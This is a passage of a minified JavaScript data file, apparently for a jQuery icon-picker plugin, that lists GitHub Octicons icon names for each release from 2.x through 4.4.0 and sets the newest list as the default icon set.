ail","mail-read","mail-reply","markdown","mark-github","megaphone","mention","microscope","milestone","mirror","mirror-private","mirror-public","mortar-board","mute","no-newline","octoface","organization","package","paintcan","pencil","person","person-add","person-follow","pin","plug","plus","primitive-dot","primitive-square","pulse","question","quote","radio-tower","remove-close","repo","repo-clone","repo-create","repo-delete","repo-force-push","repo-forked","repo-pull","repo-push","repo-sync","rocket","rss","ruby","search","search-save","server","settings","sign-in","sign-out","squirrel","star","star-add","star-delete","stop","sync","tag","tag-add","tag-remove","telescope","terminal","three-bars","thumbsdown","thumbsup","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","versions","x","zap"]},{version:"2.3.0",icons:["","alert","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","cloud-download","cloud-upload","code","comment","comment-add","comment-discussion","credit-card","dash","dashboard","database","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipsis","eye","eye-unwatch","eye-watch","file-add","file-binary","file-code","file-directory","file-directory-create","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-fork","gist-new","gist-private","gist-secret","git-branch","git-branch-create","git-branch-delete","git-commit","git-compare","git-fork-private","git-merge","git-pull-request","git-pull-request-abandoned","globe","graph","heart","history","home","horizontal-rule","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","jersey","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","lock","log-in","logo-github","log-out","mail","mail-read","mail-reply","markdown","mark-github","megaphone","mention","microscope","milestone","mirror","mirror-private","mirror-public","mortar-board","mute","no-newline","octoface","organization","package","paintcan","pencil","person","person-add","person-follow","pin","plug","plus","primitive-dot","primitive-square","pulse","question","quote","radio-tower","remove-close","repo","repo-clone","repo-create","repo-delete","repo-force-push","repo-forked","repo-pull","repo-push","repo-sync","rocket","rss","ruby","search","search-save","server","settings","sign-in","sign-out","squirrel","star","star-add","star-delete","stop","sync","tag","tag-add","tag-remove","telescope","terminal","three-bars","thumbsdown","thumbsup","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","versions","x","zap"]},{version:"2.4.0",icons:["","alert","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","cloud-download","cloud-upload","code","comment","comment-add","comment-discussion","credit-card","dash","dashboard","database","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipsis","eye","eye-unwatch","eye-watch","file-add","file-binary","file-code","file-directory","file-directory-create","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-fork","gist-new","gist-private","gist-secret","git-branch","git-branch-create","git-branch-delete","git-commit","git-compare","git-fork-private","git-merge","git-pull-request","git-pull-request-abandoned","globe","graph","heart","history","home","horizontal-rule","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","jersey","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","lock","log-in","logo-github","log-out","mail","mail-read","mail-reply","markdown","mark-github","megaphone","mention","microscope","milestone","mirror","mirror-private","mirror-public","mortar-board","mute","no-newline","octoface","organization","package","paintcan","pencil","person","person-add","person-follow","pin","plug","plus","primitive-dot","primitive-square","pulse","question","quote","radio-tower","remove-close","repo","repo-clone","repo-create","repo-delete","repo-force-push","repo-forked","repo-pull","repo-push","repo-sync","rocket","rss","ruby","search","search-save","server","settings","sign-in","sign-out","squirrel","star","star-add","star-delete","stop","sync","tag","tag-add","tag-remove","telescope","terminal","three-bars","thumbsdown","thumbsup","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","versions","x","zap"]},{version:"2.4.1",icons:["","alert","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","cloud-download","cloud-upload","code","comment","comment-add","comment-discussion","credit-card","dash","dashboard","database","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipsis","eye","eye-unwatch","eye-watch","file-add","file-binary","file-code","file-directory","file-directory-create","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-fork","gist-new","gist-private","gist-secret","git-branch","git-branch-create","git-branch-delete","git-commit","git-compare","git-fork-private","git-merge","git-pull-request","git-pull-request-abandoned","globe","graph","heart","history","home","horizontal-rule","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","jersey","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","lock","log-in","logo-github","log-out","mail","mail-read","mail-reply","markdown","mark-github","megaphone","mention","microscope","milestone","mirror","mirror-private","mirror-public","mortar-board","mute","no-newline","octoface","organization","package","paintcan","pencil","person","person-add","person-follow","pin","plug","plus","primitive-dot","primitive-square","pulse","question","quote","radio-tower","remove-close","repo","repo-clone","repo-create","repo-delete","repo-force-push","repo-forked","repo-pull","repo-push","repo-sync","rocket","rss","ruby","search","search-save","server","settings","sign-in","sign-out","squirrel","star","star-add","star-delete","stop","sync","tag","tag-add","tag-remove","telescope","terminal","three-bars","thumbsdown","thumbsup","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","versions","x","zap"]},{version:"3.0.0",icons:["","alert","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","beaker","bell","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","clone","cloud-download","cloud-upload","code","comment","comment-add","comment-discussion","credit-card","dash","dashboard","database","desktop-download","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipsis","eye","eye-unwatch","eye-watch","file-add","file-binary","file-code","file-directory","file-directory-create","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-fork","gist-new","gist-private","gist-secret","git-branch","git-branch-create","git-branch-delete","git-commit","git-compare","git-fork-private","git-merge","git-pull-request","git-pull-request-abandoned","globe","graph","heart","history","home","horizontal-rule","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","jersey","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","lock","log-in","logo-github","log-out","mail","mail-read","mail-reply","markdown","mark-github","megaphone","mention","microscope","milestone","mirror","mirror-private","mirror-public","mortar-board","mute","no-newline","octoface","organization","package","paintcan","pencil","person","person-add","person-follow","pin","plug","plus","primitive-dot","primitive-square","pulse","question","quote","radio-tower","remove-close","repo","repo-clone","repo-create","repo-delete","repo-force-push","repo-forked","repo-pull","repo-push","repo-sync","rocket","rss","ruby","search","search-save","server","settings","sign-in","sign-out","squirrel","star","star-add","star-delete","stop","sync","tag","tag-add","tag-remove","telescope","terminal","three-bars","thumbsdown","thumbsup","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","versions","watch","x","zap"]
},{version:"3.1.0",icons:["","alert","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","beaker","bell","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","clone","cloud-download","cloud-upload","code","comment","comment-add","comment-discussion","credit-card","dash","dashboard","database","desktop-download","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipsis","eye","eye-unwatch","eye-watch","file-add","file-binary","file-code","file-directory","file-directory-create","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-fork","gist-new","gist-private","gist-secret","git-branch","git-branch-create","git-branch-delete","git-commit","git-compare","git-fork-private","git-merge","git-pull-request","git-pull-request-abandoned","globe","graph","heart","history","home","horizontal-rule","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","jersey","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","lock","log-in","logo-github","log-out","mail","mail-read","mail-reply","markdown","mark-github","megaphone","mention","microscope","milestone","mirror","mirror-private","mirror-public","mortar-board","mute","no-newline","octoface","organization","package","paintcan","pencil","person","person-add","person-follow","pin","plug","plus","primitive-dot","primitive-square","pulse","question","quote","radio-tower","remove-close","repo","repo-clone","repo-create","repo-delete","repo-force-push","repo-forked","repo-pull","repo-push","repo-sync","rocket","rss","ruby","search","search-save","server","settings","shield","sign-in","sign-out","squirrel","star","star-add","star-delete","stop","sync","tag","tag-add","tag-remove","telescope","terminal","three-bars","thumbsdown","thumbsup","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","versions","watch","x","zap"]},{version:"3.2.0",icons:["","alert","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","beaker","bell","bold","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","clone","cloud-download","cloud-upload","code","comment","comment-add","comment-discussion","credit-card","dash","dashboard","database","desktop-download","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipsis","eye","eye-unwatch","eye-watch","file-add","file-binary","file-code","file-directory","file-directory-create","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-fork","gist-new","gist-private","gist-secret","git-branch","git-branch-create","git-branch-delete","git-commit","git-compare","git-fork-private","git-merge","git-pull-request","git-pull-request-abandoned","globe","graph","heart","history","home","horizontal-rule","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","italic","jersey","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","lock","log-in","logo-github","log-out","mail","mail-read","mail-reply","markdown","mark-github","megaphone","mention","microscope","milestone","mirror","mirror-private","mirror-public","mortar-board","mute","no-newline","octoface","organization","package","paintcan","pencil","person","person-add","person-follow","pin","plug","plus","primitive-dot","primitive-square","pulse","question","quote","radio-tower","remove-close","repo","repo-clone","repo-create","repo-delete","repo-force-push","repo-forked","repo-pull","repo-push","repo-sync","rocket","rss","ruby","search","search-save","server","settings","shield","sign-in","sign-out","squirrel","star","star-add","star-delete","stop","sync","tag","tag-add","tag-remove","tasklist","telescope","terminal","text-size","three-bars","thumbsdown","thumbsup","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","versions","watch","x","zap"]},{version:"3.3.0",icons:["","alert","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","beaker","bell","bold","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","clone","cloud-download","cloud-upload","code","comment","comment-add","comment-discussion","credit-card","dash","dashboard","database","desktop-download","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipsis","eye","eye-unwatch","eye-watch","file-add","file-binary","file-code","file-directory","file-directory-create","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-fork","gist-new","gist-private","gist-secret","git-branch","git-branch-create","git-branch-delete","git-commit","git-compare","git-fork-private","git-merge","git-pull-request","git-pull-request-abandoned","globe","graph","heart","history","home","horizontal-rule","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","italic","jersey","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","lock","log-in","logo-gist","logo-github","log-out","mail","mail-read","mail-reply","markdown","mark-github","megaphone","mention","microscope","milestone","mirror","mirror-private","mirror-public","mortar-board","mute","no-newline","octoface","organization","package","paintcan","pencil","person","person-add","person-follow","pin","plug","plus","primitive-dot","primitive-square","pulse","question","quote","radio-tower","remove-close","repo","repo-clone","repo-create","repo-delete","repo-force-push","repo-forked","repo-pull","repo-push","repo-sync","rocket","rss","ruby","search","search-save","server","settings","shield","sign-in","sign-out","squirrel","star","star-add","star-delete","stop","sync","tag","tag-add","tag-remove","tasklist","telescope","terminal","text-size","three-bars","thumbsdown","thumbsup","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","versions","watch","x","zap"]},{version:"3.4.0",icons:["","alert","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","beaker","bell","bold","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","clone","cloud-download","cloud-upload","code","comment","comment-add","comment-discussion","credit-card","dash","dashboard","database","desktop-download","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipsis","eye","eye-unwatch","eye-watch","file-add","file-binary","file-code","file-directory","file-directory-create","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-fork","gist-new","gist-private","gist-secret","git-branch","git-branch-create","git-branch-delete","git-commit","git-compare","git-fork-private","git-merge","git-pull-request","git-pull-request-abandoned","globe","graph","heart","history","home","horizontal-rule","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","italic","jersey","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","lock","log-in","logo-gist","logo-github","log-out","mail","mail-read","mail-reply","markdown","mark-github","megaphone","mention","microscope","milestone","mirror","mirror-private","mirror-public","mortar-board","mute","no-newline","octoface","organization","package","paintcan","pencil","person","person-add","person-follow","pin","plug","plus","primitive-dot","primitive-square","pulse","question","quote","radio-tower","remove-close","repo","repo-clone","repo-create","repo-delete","repo-force-push","repo-forked","repo-pull","repo-push","repo-sync","rocket","rss","ruby","search","search-save","server","settings","shield","sign-in","sign-out","smiley","squirrel","star","star-add","star-delete","stop","sync","tag","tag-add","tag-remove","tasklist","telescope","terminal","text-size","three-bars","thumbsdown","thumbsup","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","verified","versions","watch","x","zap"]},{version:"3.4.1",icons:["","alert","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","beaker","bell","bold","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","clone","cloud-download","cloud-upload","code","comment","comment-add","comment-discussion","credit-card","dash","dashboard","database","desktop-download","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipsis","eye","eye-unwatch","eye-watch","file-add","file-binary","file-code","file-directory","file-directory-create","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-fork","gist-new","gist-private","gist-secret","git-branch","git-branch-create","git-branch-delete","git-commit","git-compare","git-fork-private","git-merge","git-pull-request","git-pull-request-abandoned","globe","graph","heart","history","home","horizontal-rule","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","italic","jersey","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","lock","log-in","logo-gist","logo-github","log-out","mail","mail-read","mail-reply","markdown","mark-github","megaphone","mention","microscope","milestone","mirror","mirror-private","mirror-public","mortar-board","mute","no-newline","octoface","organization","package","paintcan","pencil","person","person-add","person-follow","pin","plug","plus","primitive-dot","primitive-square","pulse","question","quote","radio-tower","remove-close","repo","repo-clone","repo-create","repo-delete","repo-force-push","repo-forked","repo-pull","repo-push","repo-sync","rocket","rss","ruby","search","search-save","server","settings","shield","sign-in","sign-out","smiley","squirrel","star","star-add","star-delete","stop","sync","tag","tag-add","tag-remove","tasklist","telescope","terminal","text-size","three-bars","thumbsdown","thumbsup","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","verified","versions","watch","x","zap"]},{version:"3.5.0",icons:["","alert","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","beaker","bell","bold","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","clone","cloud-download","cloud-upload","code","comment","comment-add","comment-discussion","credit-card","dash","dashboard","database","desktop-download","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipsis","eye","eye-unwatch","eye-watch","file-add","file-binary","file-code","file-directory","file-directory-create","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-fork","gist-new","gist-private","gist-secret","git-branch","git-branch-create","git-branch-delete","git-commit","git-compare","git-fork-private","git-merge","git-pull-request","git-pull-request-abandoned","globe","graph","heart","history","home","horizontal-rule","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","italic","jersey","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","lock","log-in","logo-gist","logo-github","log-out","mail","mail-read","mail-reply","markdown","mark-github","megaphone","mention","microscope","milestone","mirror","mirror-private","mirror-public","mortar-board","mute","no-newline","octoface","organization","package","paintcan","pencil","person","person-add","person-follow","pin","plug","plus","primitive-dot","primitive-square","pulse","question","quote","radio-tower","remove-close","repo","repo-clone","repo-create","repo-delete","repo-force-push","repo-forked","repo-pull","repo-push","repo-sync","rocket","rss","ruby","search","search-save","server","settings","shield","sign-in","sign-out","smiley","squirrel","star","star-add","star-delete","stop","sync","tag","tag-add","tag-remove","tasklist","telescope","terminal","text-size","three-bars","thumbsdown","thumbsup","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","unverified","verified","versions","watch","x","zap"]},{version:"4.0.0",icons:["","alert","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","beaker","bell","bold","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","cloud-download","cloud-upload","code","comment","comment-discussion","credit-card","dash","dashboard","database","desktop-download","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipses","ellipsis","eye","file","file-binary","file-code","file-directory","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-secret","git-branch","git-commit","git-compare","git-merge","git-pull-request","globe","graph","heart","history","home","horizontal-rule","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","italic","jersey","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","lock","logo-gist","logo-github","mail","mail-read","mail-reply","markdown","mark-github","megaphone","mention","milestone","mirror","mortar-board","mute","no-newline","octoface","organization","package","paintcan","pencil","person","pin","plug","plus","primitive-dot","primitive-square","pulse","question","quote","radio-tower","repo","repo-clone","repo-force-push","repo-forked","repo-pull","repo-push","rocket","rss","ruby","search","server","settings","shield","sign-in","sign-out","smiley","squirrel","star","stop","sync","tag","tasklist","telescope","terminal","text-size","three-bars","thumbsdown","thumbsup","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","unverified","verified","versions","watch","x","zap"]},{version:"4.1.0",icons:["","alert","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","beaker","bell","bold","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","cloud-download","cloud-upload","code","comment","comment-discussion","credit-card","dash","dashboard","database","desktop-download","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipses","ellipsis","eye","file","file-binary","file-code","file-directory","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-secret","git-branch","git-commit","git-compare","git-merge","git-pull-request","globe","grabber","graph","heart","history","home","horizontal-rule","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","italic","jersey","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","lock","logo-gist","logo-github","mail","mail-read","mail-reply","markdown","mark-github","megaphone","mention","milestone","mirror","mortar-board","mute","no-newline","octoface","organization","package","paintcan","pencil","person","pin","plug","plus","plus-small","primitive-dot","primitive-square","pulse","question","quote","radio-tower","reply","repo","repo-clone","repo-force-push","repo-forked","repo-pull","repo-push","rocket","rss","ruby","search","server","settings","shield","sign-in","sign-out","smiley","squirrel","star","stop","sync","tag","tasklist","telescope","terminal","text-size","three-bars","thumbsdown","thumbsup","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","unverified","verified","versions","watch","x","zap"]},{version:"4.1.1",icons:["","alert","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","beaker","bell","bold","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","cloud-download","cloud-upload","code","comment","comment-discussion","credit-card","dash","dashboard","database","desktop-download","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipses","ellipsis","eye","file","file-binary","file-code","file-directory","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-secret","git-branch","git-commit","git-compare","git-merge","git-pull-request","globe","grabber","graph","heart","history","home","horizontal-rule","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","italic","jersey","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","lock","logo-gist","logo-github","mail","mail-read","mail-reply","markdown","mark-github","megaphone","mention","milestone","mirror","mortar-board","mute","no-newline","octoface","organization","package","paintcan","pencil","person","pin","plug","plus","plus-small","primitive-dot","primitive-square","pulse","question","quote","radio-tower","reply","repo","repo-clone","repo-force-push","repo-forked","repo-pull","repo-push","rocket","rss","ruby","search","server","settings","shield","sign-in","sign-out","smiley","squirrel","star","stop","sync","tag","tasklist","telescope","terminal","text-size","three-bars","thumbsdown","thumbsup","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","unverified","verified","versions","watch","x","zap"]},{version:"4.2.0",icons:["","alert","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","beaker","bell","bold","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","cloud-download","cloud-upload","code","comment","comment-discussion","credit-card","dash","dashboard","database","desktop-download","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipses","ellipsis","eye","file","file-binary","file-code","file-directory","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-secret","git-branch","git-commit","git-compare","git-merge","git-pull-request","globe","grabber","graph","heart","history","home","horizontal-rule","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","italic","jersey","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","lock","logo-gist","logo-github","mail","mail-read","mail-reply","markdown","mark-github","megaphone","mention","milestone","mirror","mortar-board","mute","no-newline","octoface","organization","package","paintcan","pencil","person","pin","plug","plus","plus-small","primitive-dot","primitive-square","pulse","question","quote","radio-tower","reply","repo","repo-clone","repo-force-push","repo-forked","repo-pull","repo-push","rocket","rss","ruby","search","server","settings","shield","sign-in","sign-out","smiley","squirrel","star","stop","sync","tag","tasklist","telescope","terminal","text-size","three-bars","thumbsdown","thumbsup","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","unverified","verified","versions","watch","x","zap"]},{version:"4.2.1",icons:["","alert","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","beaker","bell","bold","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","cloud-download","cloud-upload","code","comment","comment-discussion","credit-card","dash","dashboard","database","desktop-download","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipses","ellipsis","eye","file","file-binary","file-code","file-directory","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-secret","git-branch","git-commit","git-compare","git-merge","git-pull-request","globe","grabber","graph","heart","history","home","horizontal-rule","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","italic","jersey","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","lock","logo-gist","logo-github","mail","mail-read","mail-reply","markdown","mark-github","megaphone","mention","milestone","mirror","mortar-board","mute","no-newline","octoface","organization","package","paintcan","pencil","person","pin","plug","plus","plus-small","primitive-dot","primitive-square","pulse","question","quote","radio-tower","reply","repo","repo-clone","repo-force-push","repo-forked","repo-pull","repo-push","rocket","rss","ruby","search","server","settings","shield","sign-in","sign-out","smiley","squirrel","star","stop","sync","tag","tasklist","telescope","terminal","text-size","three-bars","thumbsdown","thumbsup","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","unverified","verified","versions","watch","x","zap"]},{version:"4.3.0",icons:["","alert","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","beaker","bell","bold","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","cloud-download","cloud-upload","code","comment","comment-discussion","credit-card","dash","dashboard","database","desktop-download","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipses","ellipsis","eye","file","file-binary","file-code","file-directory","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-secret","git-branch","git-commit","git-compare","git-merge","git-pull-request","globe","grabber","graph","heart","history","home","horizontal-rule","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","italic","jersey","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","lock","logo-gist","logo-github","mail","mail-read","mail-reply","markdown","mark-github","megaphone","mention","milestone","mirror","mortar-board","mute","no-newline","octoface","organization","package","paintcan","pencil","person","pin","plug","plus","plus-small","primitive-dot","primitive-square","pulse","question","quote","radio-tower","reply","repo","repo-clone","repo-force-push","repo-forked","repo-pull","repo-push","rocket","rss","ruby","search","server","settings","shield","sign-in","sign-out","smiley","squirrel","star","stop","sync","tag","tasklist","telescope","terminal","text-size","three-bars","thumbsdown","thumbsup","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","unverified","verified","versions","watch","x","zap"]},{version:"4.4.0",icons:["","alert","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","beaker","bell","bold","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","cloud-download","cloud-upload","code","comment","comment-discussion","credit-card","dash","dashboard","database","desktop-download","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipses","ellipsis","eye","file","file-binary","file-code","file-directory","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-secret","git-branch","git-commit","git-compare","git-merge","git-pull-request","globe","grabber","graph","heart","history","home","horizontal-rule","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","italic","jersey","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","lock","logo-gist","logo-github","mail","mail-read","mail-reply","markdown","mark-github","megaphone","mention","milestone","mirror","mortar-board","mute","no-newline","octoface","organization","package","paintcan","pencil","person","pin","plug","plus","plus-small","primitive-dot","primitive-square","pulse","question","quote","radio-tower","reply","repo","repo-clone","repo-force-push","repo-forked","repo-pull","repo-push","rocket","rss","ruby","search","server","settings","shield","sign-in","sign-out","smiley","squirrel","star","stop","sync","tag","tasklist","telescope","terminal","text-size","three-bars","thumbsdown","thumbsup","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","unverified","verified","versions","watch","x","zap"]}]},l=data.allVersions.length;data.icons=data.allVersions[l-1].icons,$.iconset_octicon=data}(jQuery);
